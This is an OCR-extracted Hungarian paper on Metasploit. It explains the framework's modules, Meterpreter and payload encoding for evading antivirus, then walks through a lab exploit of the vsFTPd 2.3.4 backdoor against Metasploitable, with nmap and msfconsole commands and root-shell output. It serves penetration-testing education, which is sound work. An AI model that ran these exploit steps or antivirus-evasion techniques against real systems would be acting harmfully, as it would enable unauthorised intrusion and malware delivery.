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A Metasploit tulajdonsagai egy
biztonsagos FTP démon exploit
tukrében

The Properties of Metasploit in the Mirror
of a Secured FTP Daemon Exploit

Jelen cikkben a szerz6k a penetracios tesztek cikksorozat kovetkezd részeként
bemutatjak a Metasploit keretrendszerben alkalmazhaté biztonsagos FTP démon
exploit futtatasa altal meghatéarozhat6 tamadhaté, illetve sériilékenységet mutato
szamitogépek azonositasanak lehetéségeit. Ehhez a szerz6k egy elemz6-értékel6
modszerrel meghataroztak a Metasploit alapelveit, modularis elemeit, az alkal-
mazhat¢ eljarasokat és tamadasi vektorokat. Ezt kovetéen gyakorlati megvalésitas
soran végrehajtottak az elemzett lépésekkel és modszerekkel a penetracios tesztet,
amelynek eredményeképpen a kialakitott virtualis kérnyezetben meghataroztak
a sebezhetd szamitogép alapadatait.

Kulcsszavak: Metasploit, Metasploit keretrendszer, vsFTPd, NMAP, TCP, FTP

The authors describe in this article - which is the next part of the Penetration Tests
article series — how to identify the vulnerable computers that can be identified by
running the secure FTP daemon exploit in the Metasploit framework. To do this,
the authors defined the principles, modular elements, applicable procedures and
attack vectors of Metasploit using an analytical evaluation method. Subsequently,
in practical implementation, the penetration test was performed with the analysed
steps and methods, which resulted in the basic data of the vulnerable computer
being determined in the created virtual environment.
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Bevezetés

A Metasploit nagyon sokoldalu és kiterjesztett penetraciostesztelési keret. Segithet
a penetracios tesztelés soran az eljaras korabban kifejtett minden egyes lépésében.
Ez egy olyan keret, amelyet elész6r 2003-ban fejlesztett ki H. D. Moore,? a Pearl* prog-
ramozasi nyelven. 2007-ben Ujrairtak Ruby-ban,* és 2009-ben a Rapid7® megszerezte
a projektet. Nyilt forraskédu projektként indult, de 2009-ben a Rapid7 kereskedelmi
verziot készitett. Ennek ellenére a nyilt forraskddu keret tovabbra is létezik, és jelen-
leg is folyamatosan hasznalatban van. Ezen elemzés és a projekt soran a Metasploit
keretrendszert, a Metasploit nyilt forraskddu projektjét fogjuk hasznalni.

A Metasploit szerkezete és alkalmazasi lehetSségei

A Metasploit felépitésének azonositasara a legjobb mddszer a fajlok és konyvtarak
bongészése. Minden nagyon szervezett és logikusan felépitett.

Ot f6 modullal rendelkezik:

« Auxiliaries segédberendezések: Kis szkriptek az adott feladat végrehajtasahoz.
Ezek a szkriptek altalaban arra szolgalnak, hogy azonositsak és teszteljék a gépet
egy hasznosithato port felfedezésére. Példaul egy TCP’-portos letapogatas
elvégezhet6 a megcélzott gép IP-cimének és a beolvasand6 porttartomanynak
a bevezetésével. A végrehajtas utan jelentést kell késziteni a megcélzott gép
0sszes TCP nyitott portjaval, a megadott tartomanyon beldl.

+ Exploit: A tdmadas alapvetd alkotoeleme. A kizsakmanyolas egy olyan szkript,
amely —amint a neve is jelzi — kihasznalja a rendszer sebezhet8ségét, hogy ahhoz
hozzaférést biztositson, vagy hasznos terhet futtasson. A Metasploit t6bb mint
2500 kalonféle kihasznaltsaggal rendelkezik minden ismert sebezhet&ségre.
Ezek a szkriptek altaldban nagyon specifikusak, és csak akkor biztositanak

® H.D. Moore hélézati biztonségi szakértd, nyilt forraskddu programozé és hacker. A Metasploit Framework, a pe-
netraciods teszteld szoftvercsomag fejleszt6je és a Metasploit Project alapitoja.

4 A Perl egy altalanos célt, magas szintli, interpretalt, dinamikus programozasi nyelv, amelynek els6 verziojat
Larry Wall 1987. december 18-an tette kozzé. Stilusaban és funkcionalitasaban sokat merit a C, sed, awk és sh
nyelvekbdl. A Perl egyik legfontosabb része a regularis kifejezések széles korli tdmogatasa, amely altal kivaléan
alkalmas nagy méret(i szoveg- vagy adatfajlok egyszer( feldolgozasara.

> ARuby nyilt forraskodu, teljesen objektumorientalt, interpretalt, altaldnos célt programozasi nyelv. Matsumoto
Yukihiro kezdte el megalkotni a nyelvet az 1990-es évek kozepén. A fejlesztésbe késébb tébben bekapcsolddtak.
A Ruby nyelv egyszerre tobb programozasi paradigmat valosit meg, igy a funkcionalis, objektumorientalt, impe-
rativ és reflektiv paradigmaknak is megfelel. Legfontosabb jellemz6i a dinamikus tipusossag és az automatikus
memoriakezelés. A dinamikus szkriptnyelvek csaladjaba tartozik, a Python, Perl, Lisp, Dylan, Pike vagy CLU nyel-
vekhez hasonldan.

®  Kiberbiztonségi cég, amely felvasarolta a Metasploit keretrendszert.

7 A Transmission Control Protocol (TCP) az internet gerincét alkotd TCP/IP protokollcsalad egyik f6 protokollja.
A TCP a csalad két eredeti komponense kozé tartozik, az Internet Protocolt (IP) egésziti ki, igy egyutt TCP/IP
néven szokas hivatkozni rajuk. A TCP/IP protokollhierarchia szallitasi rétegét valositja meg. A TCP egy szamito-
gépen futd program és egy masik szamitogépen futd masik program kézétt egy adatfolyam megbizhato, sor-
rendhelyes atvitelét hivatott biztositani. Az internet legfontosabb szolgaltatasainak nagy része TCP-n keresztiil
érhet6 el ilyen pl. a World Wide Web és az e-mail. Mas alkalmazésok, amelyeknél a kisebb késleltetés fontosabb
a csomagvesztés elkertilésénél, a User Datagram Protocolt (UDP) hasznalhatjak.
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hozzaférést a tdamadonak, ha a célpontszolgaltatas abban a verzioban van,
amelyre a kizsdkmanyolast tervezték.

« Encoders: A tdmadas esetén a legjobb eset mindenféleképpen az, ha a cél
ugyanabban a halézatban talalhato, mint a tdamado, és nincs olyan biztonsagi
szoftver, ami detektalna és jelezné a tdmadast, mint példaul egy viruskeresé.
Avalé vilagban ez nagyon valdszin(itlen. Annak érdekében, hogy a rosszindulatu
kod végrehajthato legyen, at kell mennie ezen a biztonsagi kapun keresztdil,
riasztas felhivasa nélkil. A kodolékat ennek megfelel6en arra alkalmazzuk,
hogy elrejtsék a rosszindulatu kodot.

+ Payload: A hasznos teher az a rosszindulatt kéd, amelynek futtatasa a cél
a megcélzott gépen informacidszerzés vagy hozzaférés céljabol. Alapvetben
elészor kifejlesztenek egy hasznos payloadot, majd kddoljak, tehat nem tlinik
gyanusnak, igy bejuttathaté a tamadando halézatba vagy eszkdzbe, majd végiil
kihasznaljak a hasznos teherbe kodolt feladatok altal generalt eredményeket
amegtamadott halozat vagy gép vonatkozasaban. Haromféle hasznos payload
létezik: 1. Singles: Az &sszes kdd egyetlen hasznos teherben van. A legnyil-
vanvalobb hatranya a fajl mérete. 2. Stagerek: Sok esetben szamit a méret,
és az egyszeri hasznos teher nem hajthato végre. Ezekben az esetekben foko-
zatot hasznalnak. Csatlakozast hoz létre mind a gépek, mind a tamadd, mind
a cél kozott a szakaszok letoltéséhez. 3. Szakaszok: A szakaszok a csomagok
altal letoltott kiilonféle csomagok, amelyek tartalmazzak azt a kéddot, amelyet
a megcélzott gépen futtatni akarunk.

+ Post: A behatolas elérésével kezd6dik a valddi munka, amikor megkezdjiik
a célhoz vald hozzaférést és a karokozast. A post modulok segitik a tamadot
a kar tovabbi névelésében. Nagyon sok specialis célokra alkalmazott scriptet
tartalmaznak, mint példaul 1. Felhasznaldi jogosultsagok bévitése; 2. Men-
tett jelszavak és felhasznalonevek ellopasa; 3. Allandé hozzaférés a géphez;
4. Kulcsnapldzo, a felhasznaldi bemenet nyomon kévetése.®

Adatbazisok és munkatertiletek Metasploitban

A gép tdmadasa kozben sok nagyon hasznos informacio keletkezik. Ha nem tarolunk
helyben és biztonsagosan, akkor ezt az informaciot konnyen elfelejtjiik. A Metasploit
alapértelmezés szerint PostgresSQL® adatbazist hasznal az 6sszes generalt adat
tarolasara. Ez az adatbazis munkateriiletekben elvalaszthatd, igy a felhasznalé nem
keveri 0ssze a fontos informacidkat. A munkateriiletek hasznalata nagyon hasznos
lehet, ha egyszerre dolgozik kiilonféle projekteken. A keretrendszer képes tovabba
az adatbazis informacidinak importalasara és exportalasara, valamint lekérdezésére,
hogy megkapja a konkrét adatokat.

& Carlos Joshua Marquez: An Analysis of the IDS Penetration Tool: Metasploit. Elérheté: www.infosecwriters.com/
text_resources/pdf/jmarquez_Metasploit.pdf (A letéltés datuma: 2020. 03. 16.)

A PostgreSQL, mas néven Postgres egy relaciosadatbazis-kezeld rendszer [angol réviditésébdl: (O)RDBMS]. Li-
cencét tekintve szabad szoftver. Sok mas szabad szoftverhez hasonldan a fejlesztést dnkéntesek végzik kozosségi
alapon.
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Integracié mas szolgaltatasokkal

A Metasploit lehetdvé teszi a felhasznalé szamara, hogy a keretben nagyon fon-
tos eszkdzoket hasznaljon. A Metasploit hasznalatanak elénye, hogy a kimenet
automatikusan menthet6 az adatbazisba. Példaul az operacids rendszer észlelésére
az NMAP"-szolgaltatast alkalmazzuk, majd az igy kapott eredmények automa-
tikusan elérhet8ek lesznek minden iranyitdallomasrél, amelyek informaciokat
prébalnak szerezni az adatbazisunkbol. Ebben az esetben csak olyan késziilékek
esetében képes az operacids rendszereket felismerni, amelyek rendelkeznek
néhany nyitott porttal, mert az operacids rendszert a szkennelés altal kildott
ping valaszaval érzékeli.

Meterpreter

A Meterpreter egy el6zetes szakaszos hasznos teher, amely DLL"-injekciét hasznal
a parancsok tavoli végrehajtasara. A DLL-injektalas lehet6vé teszi a kod végrehajtasat
egy masik folyamatcimtérben. Ez azt jelenti, hogy a Meterpreter f6 jellemzéje a futtatas.
Csak a memoriaban van, igy semmit nem ir a lemezen, és nem hoz létre Uj eljarast.
Ez azt jelenti, hogy kevesebb bizonyiték van a tdmadasarol. Egy Meterpreter shell™
megszerzéséhez el8szor be kell juttatni a szakaszos hasznos terhet a rendszerbe, majd
a Meterpreter kialakitja a kapcsolatot a tdmadd rendszerrel. Létrehoz egy Ruby API™-t,
és a tdmadd kommunikalhat az egyszer(, tavolrdl végrehajtott parancsokkal. Néhany
példa ezekre a parancsokra a kulcsnaplézashoz (a felhasznald Gsszes megnyomott
gombjanak rogzitése, hogy mindenekel6tt jelszavakhoz jussunk), képerny6képei annak
rogzitésére, hogy a felhasznald mit csinal abban a pillanatban. A Hashdumps-fajlok™

9 Az NMAP (Network Mapper) egy ingyenes és nyilt forrast haldzati szkenner, amelyet Gordon Lyon hozott ét-
re. Az NMAP arra szolgdl, hogy felfedezzen hosztokat és szolgaltatasokat egy szamitogépes héldzaton, cso-
magok kiildésével és a valaszok elemzésével. Az NMAP szamos szolgaltatast nyujt a szamitdgépes haldzatok
teszteléséhez, beleértve a hoszt felfedezését, valamint a szolgéltatas és az operacids rendszer észlelését. Ezek
a szolgaltatasok kibSvithetdk a szkriptekkel, amelyek fejlettebb szolgéltatasfelismerést, sebezhet6ségi észlelést,
és egyéb szolgaltatasokat nyujtanak. Az NMAP alkalmazkodni tud a halézati feltételekhez, beleértve a késlelte-
tést és a torlodast a szkennelés soran.

" A DLL (Dynamic Link Library, sz6 szerint ,dinamikus csatolast/hivatkozasa kényvtar”) kifejezés az informatika-
ban a Windows operacios rendszerek alkalmazasainak (programjainak) segédfajljait, egészen pontosan az un.
megosztott konyvtarakat jelentik: ezek eljarasokat (fiiggvényeket), a mas programokhoz, illetve rendszerek-
hez val¢ illeszkedést (kompatibilitast) segit8 eszkozoket, esetleg a programok ikonjait taroljak (utobbira példa
a Windows rendszerkényvtaraban talalhato shell32.dll, moricons.dll; cool.dll vagy pifmgr.dll).

2. Mas néven parancsértelmezd. Ugyanazt a feladatot latja el, mint MS-DOS alatt a command.com, de sokkal
tobb mindenre képes. Nem része az operacios rendszernek, ez tartja a kapcsolatot a felhasznalé és az operacios
rendszer koz6tt. Minden felhasznalé bejelentkezésekor egy parancsértelmez6 indul el. A parancsértelmezd szab-
vanyos bemenete és kimenete a terminal. Egy promptot jelenit meg (ami egyénileg beallithato), jelezve, hogy
készen all a feladatok végrehajtasara.

B Az alkalmazéasprogram interfész (API) rutinok, protokollok és eszkozok készlete a szoftveralkalmazasok készi-
téséhez. Alapvet6en egy APl hatarozza meg, hogy a szoftver dsszetevSinek miként kell egymasra hatniuk. Ezen
felil az API-kat hasznaljak a grafikus felhasznaldi feliilet (GUI) 6sszetevSinek programozasakor.

" Alegels6, amit célzott tmadasoknal a tamaddk megtesznek a kompromittalt rendszereken a jelszavak kigydj-
tése. Erre a Meterpreter shell lehet6séget ad, a beépitett hashdump parancs a memoriabol kigydijti az ott tarolt
jelszo hash-eket
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hash jelszavakat tarolnak. El6szor maga a jelszd nem érhet§ el, de ha a jelszé nem
biztonsagos, akkor mas szoftverek feltérhetik azt, mint példaul a JtR (John the Ripper)™.

MSFVenom'™®

A hasznos teher létrehozasa érdekben a Metasploitnak van egy kivalé eszkoze,
amely segiti ebben a munkaban. Az MSFVenom hasznos terheléseket general
és kédol egy paranccsal. Tamogatja ugyanazokat a hasznos terheket és kodoldkat,
amelyeket a f6 keret tdmogat, tehat alapvet6en olyan, mint egy kisebb keret, csak
a hasznos és kddolé modulokkal egyiitt. Azonban az MsfVenom-nak sziiksége van
bizonyos informacidkra a megcélzott géprél a jo hasznos teher kialakitasahoz. Ezeket
az informaciokat tudjuk megszerezni példaul az NMAP-szolgaltatassal. Az MsfVenom
elényei a kovetkezok: 1. egyetlen eszkdz; 2. szabvanyositott parancssori lehet&ségek;
3. megnovelt sebesség."”

Ugyféloldali témadasok

Mint kordbban kifejtettiik, az el6z6 tamadasok csak akkor mlikddnek, ha a megcél-
zott eszkdz ugyanabban a halézatban talalhatd, mint a tamadé. Ha nem ugyanab-
ban a halézatban van a megcélzott gép IP-je, akkor egy NAT'™ mogott van. Ez azt
jelenti, hogy csak a halézat egy nyilvanos IP-jéhez férhet hozza, nem pedig egy
adott géphez.

A korabbi magyarazatokban a tamadé mindig elinditotta a kapcsolatot a cél-
ponttal. Ugyféloldali tamadasok esetén a célgép az, ami megkezdi a kapcsolatot
a tamadégéppel. Ha nem tudjuk elérni a megcélzott gépet, akkor arra késztetjik
az eszkozt, hogy kapcsolatot létesitsen a géplinkkel.

Az elsd lépés egy hasznos teher kifejlesztése, amely csatlakozik a gépilinkhoz.
Példaul, ha hozzaférést szeretnénk elérni egy Windows géphez, akkor a paypreter
meterpreter_reverse_tcp segitségével hozhatunk létre TCP kapcsolatot és megkap-
hatjuk a meterpreter munkamenetet. Ennek a hasznos tehernek a fejlesztéséhez meg
kell ismernlink a gépet, amely azt Gizemelteti, kiildnben nem fog m(ikddni.

> A John the Ripper egy gyors jelszdkrekkeld, jelenleg elérhetd Unix, MacOS, Windows, DOS, BeOS és OpenVMS
rendszerekhez.

6 MSFVenom az MSFpayload és MSFencode kombinacidja, ami ezt a két alkalmazast egy keretrendszerbe foglalja
6ssze. Az MSFVenom 2015. junius 8-an vette at a msfpayload and msfencode helyét.

7 MsfVenom. Offensive security. Elérhets: www.offensive-security.com/metasploit-unleashed/msfvenom/ (A letéltés
datuma: 2020. 03.18.)

8 Ahaldzati cimforditas (angolul Network Address Translation, roviden NAT) a csomagsziird tiizfalak, illetve a cim-
forditasra képes halozati eszk6zok (pl. router) kiegészit6 szolgaltatasa, amely lehetévé teszi a bels halozatra
kotott gépek kozvetlen kommunikacidjat tetszéleges protokollokon keresztiil kiilsé gépekkel anélkiil, hogy azok-
nak sajat nyilvanos IP-cimmel kellene rendelkeznitik. Cimforditasra akar egyetlen szamitdgép is képes, igy valo-
sithaté meg példaul az internetkapcsolat-megosztas is, amikor a megosztd gép a sajat publikus cimébe forditja
bele a megosztast kihasznalo kliens gép forgalmat.
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Virusirtok elkertilése

Korabban bemutattuk a kodolé modult, és azt mondtuk, hogy nagyon hasznosak a rosz-
szindulaty koédok elrejtésében a virusirtoktdl, de a kddold hasznalata nem elegends.
Awww.virustotal.com webhelyek segitségével ellenérizhetik, hogy egy viruskeresd ész-
lel-e hasznos terhet, vagy sem. Ha a hasznos teher kodolasa nem csak egy alkalommal
torténik, az antivirusok nagy része felismeri. Ennek megoldasara a kédolas tobbszoros
iteracioit hasznaljak. Annak érdekében, hogy a hasznos teher jél kddolva legyen, javasolt
a kilonbozd kodoldk és iteraciok keverése, hogy a kimutatasi sebesség annyira korlato-
zott legyen, amennyire csak lehetséges a méretkorlatozasokon belil. Minden uj iteracié
és kodolas noveli a fajl méretét, s6t akar a hasznos terhet is karosithatja.

A viruskeresd szoftverek elkeriilésének masik mdédja a tomorité programok, példaul
a Winrar® vagy a 7-Zip? hasznalata. Végiil, egy antivirus elleni nagykertilés érdekében
adhatunk egy jelszot is a tomoritett allomanyunkhoz. Ez nagymértékben megndveli
az athatolasi képességiinket a védelmi szoftvereken, ugyanakkor problémat jelenthet,
hogy a felhasznaldknak is tudniuk kell a jelszdt, hogy kibontsak és futtassak a fajlt.?'

A vsFTPd?? exploit

A vsFTPd Metasploittal valo exploitjanak végrehajtasat virtualis gépekkel bizonyitjuk
be. A virtudlis gépeket egy fizikai szamitogépen futtattuk, amelynek specifikacioi
a kovetkez6k voltak (1. tablazat):

+ legalabb 8 GB RAM memodria és 35 GB szabad tarhely;

» Oracle VirtualBox?;

+ harom virtualis gép:

1. tablazat
Az alkalmazott szamitdgépen futtatott virtualis gépek specifikacidi.
Forras: a szerz6k Osszeallitasa

Virtualis gépek RAM Disk Space
Tamado gép (Kali) 1GB 10 GB
Sebezhetd virtualis gép (Metasploitable) 512 KB 8 GB
Virtualis Router 3GB 10 GB

¥ A WInRAR egy fajltomorits és -archivalé program Microsoft Windows operacios rendszerhez. Létezik hozza
parancssoros és grafikus felhasznaloi feliilet is.

2 A7-Zip egy fajltomoritd és -archivald program Microsoft Windows operaciés rendszerhez. Létezik hozza parancssoros
és grafikus felhasznaloi feliilet is. Képes beépiilni a Windows Intézébe. A 7-Zip ingyenes program, LGPL licenccel.

21 Nil Torres Pages: Module development in Metasploit for pentesting. A Degree Thesis, Universitat Politécnica de
Catalunya, 2019. 15-20.

22 ysFTPd (vagy nagyon biztonsagos FTP-démon), egy FTP-szerver Unix-szer(i rendszerekhez, ideértve a Linuxot is.
A GNU Altalanos Nyilvanos Licenc alapjan engedélyezett. Témogatja az IPv6-ot, a TLS-t és az FTPS-t (2.0.0 6ta
explicit és 2.1.0 6ta implicit). Ez az alapértelmezett FTP-szerver az Ubuntu, CentOS, Fedora, NimbleX, Slackware
és RHEL Linux disztribuciokban.

23 A Virtualbox egy elterjedt kliensoldali virtualizacios szoftver. Eredetileg az Innotek GmbH terméke volt, amit
el6szor a SUN vasarolt meg, majd az Oracle tulajdonaba kertilt. A szoftver ingyenes, elérheté Windows, Linux
és MacOS platformokra is.
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A felderités

Ebben a részben az NMAP hasznalataval hatarozhaté meg, hogy a virtualis sebezheté
gép sériilékenységet takar-e a vsFTPd 2.3.4 verzidhoz tarsitva. A vsFTPd 2.3.4 gyokér
szint(i (magas szintl) hozzaférést az FTP?*-kiszolgalohoz (kiszolgalo masok szamara
letolthetd fajlok tarolasara), az azon talalhatd biztonsagi rés(ek) kihasznalasaval.

Az NMAP opcidk segitségével szkript hasznalhaté az FTP biztonsagi résének
tesztelésére:

root@kali:~# nmap —-script ftp-vsFTPd-backdoor
209.165.200.235 —-reason > ftpd.txt

Amikor a prompt visszatér, az NMAP-eredményeket tartalmazd szdveges fajlt
megnyitjuk.

root@kali:~# cat ftpd.txt

Az eredmény felsorolja a vsFTPd sebezhet&séget és mas nyitott portokat, ame-
lyeket az NMAP észlel a virtudlis gépen. Ebben az esetben a 21. port segitségével
tudjuk kihasznalni a biztonsagi rést (1. abra).?

:~# nmap --script ftp-vsftpd-backdoor 209.165.200.235 --reason > ftpd.txt
(~# cat ftpd.txt

Starting Nmap 7.40 ( https://nmap.org ) at 2020-03-24 10:36 EDT
Nmap scan report for 209.165.200.235

Host is up, received echo-reply ttl 63 (0.0057s latency).

Not shown: 980 closed ports

Reason: 980 resets

PORT STATE SERVICE REASON

21/tcp  open ftp syn-ack ttl 63

| ftp-vsftpd-backdoor:

| VULNERABLE:

|  vsFTPd version 2.3.4 backdoor
| State: VULNERABLE (Exploitable)
| IDs: CVE:CVE-2011-2523 0SVDB:73573
| vsFTPd version 2.3.4 backdoor, this was reported on 2011-07-04.
| Disclosure date: 2011-07-03
| Exploit results:

| Shell command: id

| Results: uid=0(root) gid=0(root)

| References:

| http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html

| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2523

| https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/ftp/vsftpd 234
backdoor. rb

| http://osvdb.org/73573

22/tcp open ssh syn-ack ttl 63

23/tcp  open telnet syn-ack ttl 63

25/tcp  open smtp syn-ack ttl 63

53/tcp  open domain syn-ack ttl 63

80/tcp  open http syn-ack ttl 63

1. abra
Az NMAP éltal kimutatott nyitott port a vsFTPd 2.3.4 alkalmazédsahoz.
Forras: a szerz6k 6sszeallitasa

24 AFile Transfer Protocol vagy révid nevén FTP TCP/IP halézatokon —mint amilyen az internet is — torténd alloma-
nyatvitelre szolgald szabvany.

% Metasploitable 1: vsFTPd 2.3.4. Elérhetd: https://medium.com/@mplacio/metasploitable-1-vsFTPd-2-3-4-c4d3e-
a5db208 (A letdltés datuma: 2020. 03. 20.)
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Az exploit hasznalata

A vsFTPd sebezhetdséget kihasznalva egy root?*-hozzaférés szerezhetd a virtualis
géphez a teljes ellen6rzés megszerzése céljabol a virtualis gép folott.

A Metasploit Framework hasznalataval elindithaté a kizsakmanyolas a virtualis
sebezhetd gép ellen a vsFTPd hasznalataval. A Metasploit Framework (MSF) egy esz-
koz tavoli célszamitogép elleni tamadasok fejlesztéséhez és inditasahoz. Hasznalhatd
egy gazdagép sebezhet&ségének tesztelésére is. Az MSFconsole valdszinlleg az MSF
legnépszer(ibb felilete (2. abra). Ez egy ,mindent az egyben” kdzpontositott konzolt
biztosit, és lehet&vé teszi a hatékony hozzaférést az MSF-ben elérhet Osszes alkal-
mazoi felillethez, lehet&séghez. Az MSFconsole hasznalatanak el6nyei:

+ ezazegyetlen tamogatott mod a Metasploit legtobb szolgaltatasanak elérésére;

+ konzolalapu feliiletet biztosit a kerethez;

+ alegtdbb szolgaltatast tartalmazza, és a legstabilabb MSF-interfész;

+ teljes readline tamogatas, parancsvégrehajtas;

* lehetséges kiilsé parancsok futtatasa az MSFconsole-ban.?

root@kali:~# msfconsole

:~# msfconsole

dg, dgp
d8p “BP d888888p
d888888pP 788"
d8bd8b.d8p d8888h 788" d888h8h d8pP ?8b 88P
88P°7P'7P d8h_,dP 88P d8P' 788 d8P d8888b $whi?88h 88b
d88 d8 78 88h 88b 88h ,88b 788,.d88b, dB88 d8P' 788 88P "?8b
88" d88b 8b'78888P'"78h" 788P" “788' 788 788 88bh 88 d88
83b d8P 88h 78888P"
888888P'  88n
d8sp’

d

Payload caught by AV? Fly under the radar with Dynamic Payloads in
Metasploit Pro -- learn more on http://rapid7.com/metasploit

metasplo .14.10 ]
1639 exploits - 944 iary - 289 post 1]
472 payloads - 40 encoders - 9 nops 1
Free Metasploit Pro trial: http://r-7.co/trymsp ]

[
o
-=[
[

2. abra
Az MSFconsole nyitdfeliilete.
Forras: a szerzék Osszeallitasa

% Rendszergazdai, teljes jogli hozzaférés.
@ Using the MSFconsole interface. Offensive security. Elérhetd: www.offensive-security.com/metasploit-unleas-
hed/msfconsole/ (A letoltés datuma: 2020. 03. 20.)
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Ahogy az a 3. abran lathato, az MSF-parancssorban a search vsFTPd parancs végrehajtja
aVvsFTPd v2.3.4 hatsé ajtohoz tarsitott modul keresését. Ezt a modul lesz hasznalatos
a kizsakmanyolas soran.

st > search vsftpd

[!] Module database cache not built yet, using slow search

Matching Modules

Disclosure Date Rank Description

3. abra
vsFTPd keresési eredmény az MSF-parancssorban.
Forras: a szerzék 6sszeallitasa

Az exploitot megtalalva igy a kdvetkez6 lépés a sebezhet8ség hasznalasa a kizsak-
manyolas soran, illetve a sebezhet6 virtudlis gép IP-cimének bedllitasa, valamint
e [épések ellenbrzése (4. abra).

> use exploit/unix/ftp/vsTtpd 234 |
st exploit( ) > set rhost 209.165.200.235
rhost => 209.165.200.235
st exploit( ) > show options

Module options (exploit/unix/ftp/vsftpd 234 backdoor):

Name  Current Setting Required Description

RHOST 209.165.200.235 vyes The target address
RPORT 21 yes The target port (TCP)

Exploit target:

Id Name

0 Automatic

st exploit(
4. 4bra
A célszamitdgép IP-cimének és a tamaddsra hasznalt port szdmanak megadasa.

Forras: a szerz6k 6sszeallitasa

Ezutan maga a kihasznalas kovetkezik. A vsFTPd exploitot hasznaltuk fel, hogy
root-hozzaférés legyen elérhetd a virtudlis sebezhetd géphez.
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msf exploit (vsFTPd 234 backdoor) > exploit
[*] 209.165.200.235:21 - Banner: 220 (vsFTPd 2.3.4)

[*] 209.165.200.235:21 - USER: 331 Please specify
the password.

[+] 209.165.200.235:21 - Backdoor service has been
spawned, handling..

[+] 209.165.200.235:21 — UID: uid=0(root) gid=0 (root)
[*] Found shell.
[
(

*] Command shell session 1 opened
209.165.201.17:33985 -> 209.165.200.235:6200) at
2017-07-11 11:53:35 -0400

Ez belép a Metasploit Framework terminalba, és a Kali gazdagépr6l mostantol
root-hozzaféréssel rendelkezik a Metasploitable virtudlis géphez. Annak ellendrzé-
séhez, hogy milyen felhasznalo-hozzaféréssel rendelkezik a Metasploitable virtudlis
géphez, a whoami parancsot hajtjuk végre, majd a hostname parancsot, amelybél
kider(l a célpont-szamitogép neve és végiil az ifconfig parancs. Ezzel meghatarozhato
a sebezhet§ virtualis gép IP-cime (209.165.200.235). Alkalmazva a fenti lépéseket
a sajat halézatunkon, illetve mas megvizsgalni kivant halézaton, egy backdooron
keresztiil parancssoros feliileti kapcsolat hozhatd létre azokon a meghatérozott cél-
pont-szamitdgépeken, amelyeknél a vsFTPd sebezhetésége fennall (5. abra).

msf exploit( ) > exploit

*] 209.165.200.235:21 - Banner: 220 (vsFTPd 2.3.4)
*] 209.165.200.235:21 - USER: 331 Please specify the password.
209.165.200.235:21 - Backdoor service has been spawned, handling...
209.165.200.235:21 - UID: uid=0(root) gid=0(root)
*] Found shell.
*] Command shell session 1 opened (209.165.201.17:39057 -> 209.165.200.235:6200) at 2020-03-24 10:45:58

hostname

metasploitable

ifconfig

etho Link encap:Ethernet HWaddr 08:00:27:12:62:22
inet addr:209.165.200.235 Bcast:209.165.200.255 Mask:255.255.255.224
inet6 addr: fe80::a00:27ff:fel2:6222/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:1064 errors:0 dropped:0 overruns:0 frame:0
TX packets:1146 errors:0 dropped:® overruns:@ carrier:0
collisions:0 txqueuelen:1000
RX bytes:64214 (62.7 KB) TX bytes:67945 (66.3 KB)
Interrupt:9 Base address:0xd020

Link encap:Local Loopback

inet addr:127.0.0.1 Mask:255.0.0.0

inet6 addr: ::1/128 Scope:Host

UP LOOPBACK RUNNING MTU:16436 Metric:1

RX packets:144 errors:0 dropped:@ overruns:@ frame:0
TX packets:144 errors:® dropped:® overruns:0 carrier:0
collisions:0 txqueuelen:®

RX bytes:40945 (39.9 KB) TX bytes:40945 (39.9 KB)

5. abra

Az exploit futtatdsat kévetSen parancssoros kapcsolat a célpont-szamitdgéppel, amely a kévetkezd
lekérdezéseket teszi a célpont-szamitdgépen: felhasznalonév, szamitégépnév, IP-cim.
Forras: a szerz6k Osszeallitasa
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Osszegzés

A cikkben taglalt szoftveres megoldas jelent&s alapot szolgaltathat egy a Magyar
Honvédség altal alkalmazott informatikai biztonsagi tesztelés részeként. A szakal-
lomany megfelelS kiképzésével, valamint a Metasploit sokrét(i hasznalataval olyan
informatikai sériilékenységeket sikerilhet felfedni, majd ez altal javitani, amelyek
sitdsdhoz, valamint a Magyar Honvédség kibervédelmi tevékenységeihez, az esetleges
tamadasok elkeriiléséhez, megel6zéséhez. Ilyen példak a kdvetkezok: 1. a Windows 7,
Windows 8.1 és Windows 10-es verzidkkal is kiprébalt Veil AES titkositott Reverse-tcp
Metasploit tamadasok (Amelyek a ,ruby/meterpreter/reverse_tcp" és ,ruby/meterp-
reter/reverse_tcp” parancsok hasznalataval képesek a wekamera és mikrofon feletti
iranyitas atvételére az adott szamitogépeken.); 2. az Az MS08-067 és remote shell
a Metasploit konzolalkalmazasbdl kivalaszthato az alkalmazni kivant exploit, tavoli
hozzaférés érdekében; 3. amennyiben nincs tavolrél tdamadhaté hiba, ugy a célpont
szamitégépének tamadasa helyett a felhasznaldt tamadjak meg, altalaban e-mail-
ben. Ennek melléklete valamilyen Microsoft Office dokumentum, Adobe Flash vagy
PDF-allomany, esetleg JavaScript vagy VBScript program. A Metasploit lehet&séget
nyujt a Microsoft Office-alkalmazasok biztonsagi hibait kihasznalé dokumentumok
gyartasara. A fejezet megirasakor a CVE-2017-11882 a legkurrensebb ilyen hiba,
amelyet szamtalan célzott és altalanos tdmadasban hasznalnak.?®

A vsFTPd szerver kihasznalasa egy megfeleld lehet6ség a dontéshozok figyele-
mének felhivasara, a jov6beli esetleges tamadasok megel6zésére, illetve a rendszerek
és halézatok gyenge pontjainak meghatarozasara. Folyamatos alkalmazasaval meg-
valdsithato az allomany digitalis kompetenciajanak fejlesztése, illetve a szakallomany
oktatasa, tovabbképzése.
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